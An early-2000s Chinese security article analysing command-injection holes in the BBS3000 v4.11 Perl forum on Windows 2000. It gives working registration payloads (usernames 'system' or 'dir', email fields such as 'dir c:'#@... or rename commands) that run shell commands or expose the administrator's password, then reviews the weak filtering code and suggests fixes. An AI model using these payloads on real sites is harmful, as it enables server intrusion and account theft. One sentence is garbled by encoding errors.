网络安全 频道

窥探YUZI的BBS3000社区安全性

稿:badboy http://www.badclub.org 坏男孩俱乐部
badboy-club@21cn.com
部分漏洞提供者:
adver
x.z
这并不是什么权威教材,只适合菜鸟了解某些免费提供的论坛程序存在的不
安全面,切莫用此方法在国内做尝试,如果你偏要如此,那么由此引起的一
切法律后果由你自己负责。
本文只允许在网络任意转载,但须保留文章的完整性,如把本文作为经济目
的使用,或者未经本人许可进行印刷、光盘杂志、等出版性质的行为,本人
将保留侵权控告的权利。
—————————————————————————————————
第一篇
****基本漏洞测试*****

YUZI的BBS3000被不少的国内个人站点和企业站点用来作为网友交流的论坛,
但不少用户很少去探测这论坛的安全性,使用者很大程度上信任作者,而实际上
这些免费的版本和汉化修改论坛,往往存在一些致命的漏洞,本文的目的在于揭
示该论坛不为人知的漏洞,让大家更好的使用这类论坛,并且保证自身资料的隐
蔽和服务器的安全。

测试版本:bbs3000 v4.11
系统平台:win2k adv server=sp3 + iis 5.0 +ActivePerl 5.6.1.626
应用程序映射:perl.exe %s %s 动作:GET,HEAD,POST
  或者:perlIS.dll 动作:GET,HEAD,POST
测试情况:
一、用户名为dir的漏洞
1、采用应用程序映射:perl.exe %s %s应用程序映射

在站点建立一目录(或者虚拟目录)bbs3000,按论坛作者提供的说明书,默认安
装BBS3000 v4.11版本,我们注册一用户名为dir,密码为system,信箱为

http://192.168.0.1/bbs3000/yhzl/dir.cgi
F:\new\bbs3000\bbs3000 的目录

2002-01-16 19:26  <DIR>   .
2002-01-16 19:26  <DIR>   ..
2002-01-16 22:42    43,247 bbs.cgi
2002-01-16 22:47    50,934 cjyh.cgi
2002-01-16 22:43    38,551 bbs1.cgi
2002-01-16 22:48    6,401 cookie.cgi
2002-01-16 22:42    2,138 affiche.cgi
2002-01-16 22:43    22,434 bbs2.cgi
(以下略)
    34 个文件  417,611 字节
    15 个目录 1,830,944,768 可用字节


2、采用应用程序映射:perlIS.dll应用程序映射
得到的显示页面为:
'F:\new\bbs3000\bbs3000\yhzl\dir.cgi' script produced no output

测试解释:在应用程序映射中,一个扩展名只能由一个程序去映射,在采用
perl.exe时,BBS3000存在查看网站目录和文件的漏洞,在采用perlIS.dll时,
则有暴露网站在服务器上的绝对地址的漏洞

二、用户名为system的漏洞
1、采用应用程序映射:perl.exe %s %s应用程序映射
注册一用户名为system,密码为空格键(或者密码为system),信箱为
'dir c:'#@badclub.org,然后我们在IE地址栏内输入:
http://192.168.0.1/bbs3000/yhzl/system.cgi
返回的页面显示为:
C:\ 的目录

2001-11-27 20:56    1,002 FRUNLOG.TXT
2001-11-27 20:49  <DIR>   WINNT
(以下略)
    10 个文件   29,583 字节
    9 个目录 946,327,552 可用字节

当密码为其他时,则显示:
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:

syntax error at F:\new\bbs3000\bbs3000\yhzl\system.cgi line 1, near
"1 system"Execution of F:\new\bbs3000\bbs3000\yhzl\system.cgi
aborted due to compilation errors.

我们还可以这样测试用户名为system的情况,密码仍然为空格键
(或者密码为system)但把信箱修改为@ARGV##badboy@badclub.org,然后我
们在IE地址栏内输入:
http://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:
返回的页面显示
D:\ 的目录
2001-01-18 23:23  <DIR>   tools
2001-11-27 21:18  <DIR>   98tools
2001-04-08 13:08  <DIR>   W2Kreskit
2001-11-06 19:52  <DIR>   NOCDKEY-PROT
2001-12-01 21:32  <DIR>   WINNT
2001-12-01 21:39  <DIR>   Documents and Settings
2001-12-01 21:41  <DIR>   Program Files
2001-12-01 21:53  <DIR>   Inetpub
2002-01-16 19:17  <DIR>   pl
(以下省略部分内容)  
   12 个文件  15,068,818 字节
    15 个目录 2,371,317,760 可用字节
'0' 不是内部或外部命令,也不是可运行的程序
或批处理文件。

2、采用应用程序映射:perlIS.dll应用程序映射
用户名为system,密码为空格键(或者密码为system),信箱为'dir c:'#@badclub.org,
然后我们在IE地址栏内输入:
http://192.168.0.1/bbs3000/yhzl/system.cgi
返回的页面显示为:
'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output

把信箱修改为@ARGV##badboy@badclub.org,然后我们在IE地址栏内输入:
http://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:
返回的页面显示
'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output

三、用户名为;字符的情况
1、采用应用程序映射:perlIS.dll应用程序映射
注册一用户名为;字符,密码为1,信箱为rename "badboy.cgi","badboy.txt";#@badclub.org ,
(这里假设badboy为该论坛的社区区长,也就是该论坛最大权限的用户),然后我们
在IE地址栏内输入:
http://192.168.0.1/bbs3000/yhzl/;.cgi
返回的页面显示
'F:\new\bbs3000\bbs3000\yhzl\;.cgi' script produced no output
嗯,怎么还是和上面的perl.dll例子一样啊??后面的就是关键了,你再输入这样
的看看
http://192.168.0.1/bbs3000/yhzl/badboy.txt
返回的页面显示为
badpass badboy http://192.168.0.1 2002-01-16
显示的内容前面就是密码、用户
天啊,事情怎么那么容易呀!!~_*
经测试,用户名为system密码为一个空格键(或者为system),信箱为
rename "badboy.cgi","badboy.txt";#@badclub.org 的时候,步骤和上面一样,同样
可以获得相同的结果。

2、采用应用程序映射:perl.exe %s %s应用程序映射
用户名为;字符,密码为1,信箱为rename "badboy.cgi","badboy.txt";#@badclub.org
在IE地址栏内输入:
http://192.168.0.1/bbs3000/yhzl/;.cgi
返回的页面显示
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP
headers. The headers it did return are:

第二篇
****论坛源码分析和安全设置*****
一、论坛源码分析
我们先打开yhreg.cgi这个文件来看看,找到控制注册部分的代码:
----------------------------------------------------------------------
sub reguser{
&origin;
$username=~s/\ //g;
if($passwordok ne "0"){$userpsd=$ftime};
if($username=~m/[\#\&\*\=\+\\\:\"\/\<\>?'`]/){&errorview("名字中不能含有特殊字符!");}
if($userpsd=~m/[\#\&\*\=\+\\\:\"\/\<\>?'`]/){&errorview("密码中不能含有特殊字符!");}
if(($userpsd eq "")||($username eq "")){&errorview("请填写您的名字和密码!");}
if(!($mail=~ /.*\@.*\..*/)){&errorview("您的Email输入错误!");exit;}
foreach (@badmail){$mail =~s/$_//gi;}
if($mail eq "" || $Cookies{badren} eq "1"){&errorview("您的Email被禁止注册!<SCRIPT>document.cookie=\"badren=\"+\"1\";</SCRIPT>");
}
($ip1,$ip2,$ip3,$ip4)=split(/\./,$from);$badi="$ip1.$ip2.$ip3";
foreach $badip (@badip) {&errorview("对不起!此段IP被禁止注册资料!") if($badip eq $badi);exit if($badip eq $badi);}
if(length($username) > 12){&errorview("您的名字不能大于12个字符!");}
if(length($comment) > 400 ){&errorview("您的签名不能大于200个汉字!");}
if(length($jiao) > 400 ){&errorview("您的简介不能大于200个汉字!");}
$comment=~s/\[sound]//isg;$comment=~s/\[\/sound]//isg;
$comment = &ybbcode("$comment");
------------------------------------------------------------------------
从他的程序我们可以看到用户名和密码所过滤的字符明显不足,信箱的过滤也存在
比较大的安全隐患,在用户修改yhxiu.cgi文件中也是存在同样的问题。
------------------------------------------------------------------------
sub reguser{
&origin;
if($newpsd=~m/[\#\&\*\=\+\\\:\"\/\<\>?'`-]/){&errorview("密码中不能含有特殊字符!");}
if(($FORM{'userpsd'} eq "")||($username eq "")||($mail eq "")){&errorview("名字 密码 信箱 必顺要填写的,请重新输入!");}
if(!($mail=~ /.*\@.*\..*/)){&errorview("您的Email输入错误!");exit;}
if(length($comment) > 400 ){&errorview("您的签名不能大于200个汉字!");}
if(length($jiao) > 400 ){&errorview("您的简介不能大于200个汉字!");}
if(length($city) > 12){&errorview("您填写的省份不能大于12个字符!");}
$comment=~s/\[sound]//isg;$comment=~s/\[\/sound]//isg;
-------------------------------------------------------------------------
我们查看他的用户资料保存的顺序又依此为:密码、用户名、信箱等等。因此我们就可以
通过过滤的不足精心构造一个能够执行cmd.exe的cgi代码。
一般的安全文章推荐过滤的字符有& ; ` ' \ " | * ? ~ < > ^ ( ) [ ] { } $ \n \r \t \0 # ../
除了特殊字符的过滤,我们还要注意要过滤一些命令形式的用户名和密码,比如说
system、exec、copy、dir等等。

二、过滤的重要性
由于过滤的不足和保存用户资料的方式不对,从而使得入侵者可以利用各种函数调
用命令,对一种编程语言而言,在设计这种语言的时候,一般情况下是不会产生安
全隐患的,在很多情况下,这种安全隐患是由程序员不小心或者对安全方面的不注
意所造成的。一个如软件整体的安全匀匀淮蟛糠忠览涤谡飧鋈砑圃煺叩闹睹妗?
理解能力和他的安全意识。
程序的编写者不能过多的要求用户的安全配置能力,应该把安全的重点放在自己所编
写的程序代码能够做到最大的傻瓜化,即用户不需要做太多的事就能安全的使用自己
的作品,这是每个编程人员必须注意的。
Perl脚本中产生安全问题的一个很大的来源是没有经过正确确认(或根本就没有确认)
的用户的输入。我们不要指望每个注册用户都会认真填写注册信息,我们要提防某些
入侵者会发送给你假的输入。不正确的用户输入,如果没有经过确认就被认可并使用了,
将会导致许多方面出错。最常见和明显的错误是,没有经过确认就去执行有用户自定义
参数的其他程序。  
perl cgi执行一个外部程序和一个系统命令的方法是通过调用exec()函数。当Perl遇
到一个exec()语句的时候,它会审视exec()被调用处的参数,然后启动一个新的进程来
执行这条指定的命令语句。Perl从不会返回调用exec()的原来的那个进程。
和EXEC()相似的函数是system()。system()的运行方式非常象exec()。两者最大的
区别是Perl会首先从父进程中分*出一个子进程,子进程作为提供给system()的一个
参数。父进程等到子进程运行结束后再接着运行程序的其余部分。
  传递给system()的参数是一个列表——列表里的第一个元素是要被执行的这个
程序的程序名,其他元素是传给这个程序的参数。然而,如果只有一个参数的的话,
system()的执行方式会发生差异。在那种情形下,Perl将会扫描这个参数看它是不是
包含任何shell转换字符。如果有的话,它就要把这些字符通过shell来解释。所以产
生一个shell命令行来工作。不然,Perl会降字符串拆成单词然后调用效率更高的c库
函数execvp(),这个函数不能理解特殊的shell字符。
因此,BBS3K在WIN2K下,在用户system用户资料的文件system.cgi中,我们可以构造成
system system @ARGV##badboy@badclub.org(后面略)
在这个目录能够执行CGI程序的情况下,我们就可以通过RUL赋予它执行的命令,
http://192.168.0.1/bbs3000/yhzl/system.cgi?dir
或者象DIR用户的用户资料构造成
system dir #badboy@badclub.org(后面略)
实际上也是一条简单的函数system()。

过滤用户输入的一个通常方法就是过滤任何不需要的转换字符和有可能函数命令问题
数据。例如我们可以在BSS3K的用户注册和用户资料修改中过滤用户名、密码、信箱
中的非法字符。一旦看见非法的字符,就让程序运行失败,这种策略被称为”黑名单”
这种策略就是如果某东西没有明确禁止,那它肯定是好的。黑名单的过滤策略最重要的
问题是它非常难保持过滤的完整性。你也许会忘掉过滤某一特定字符,或者你的程序
或许不得不随不同的转换字符集合转到一个不同shell中。一个更好的策略就”白名单”
只过滤进合法的输入。我们在无法完全知道该过滤哪些非法字符时,我们可以通过验证
所输入的字符必须满足我们同意输入的字符,比如用户名和密码只能是数字和英文字母
的组合,如果不是,则过滤掉。
在《Perl CGI编程安全点滴》(作者:backend) 一文中,backend谈到了几个很重要的
并且是很常见忽略的过滤的问题,很值得CGI程序编程人员学习。
本文只测试在WIN2K情况下由于BBS3K过滤的不足引起的安全隐患,同样,在UNIX中,或者
其他的平台下,由于过滤的不足,也是会引起类似的安全问题,只是入侵的方式有些不同,
有兴趣者可以测试。

三、BBS3K在WIN2K下使用的安全建议

1、修改用户资料存放地址和文件格式,使别人不容易猜到你的存放目录的目录名,
2、限制访问用户资料目录,把YHZL目录执行许可设置为无。(一般空间租用者只能求助
服务器管理人员)。
3、加强字符过滤。包括:用户名和信箱特殊符号的过滤,信箱字节长度的限制,特殊
用户名的注册。
4、重新调整用户资料的排列,把用户输入的数据和系统产生的分别隔开,使之很难构造
一条能够执行的命令语句。
5、限制everyone使用cmd.exe。(这条比较难做到,尤其是提供免费使用空间的站点,
空间租用者在安装BBS3K时本身就必须调用cmd.exe,在管理论坛时也许用到)

0
相关文章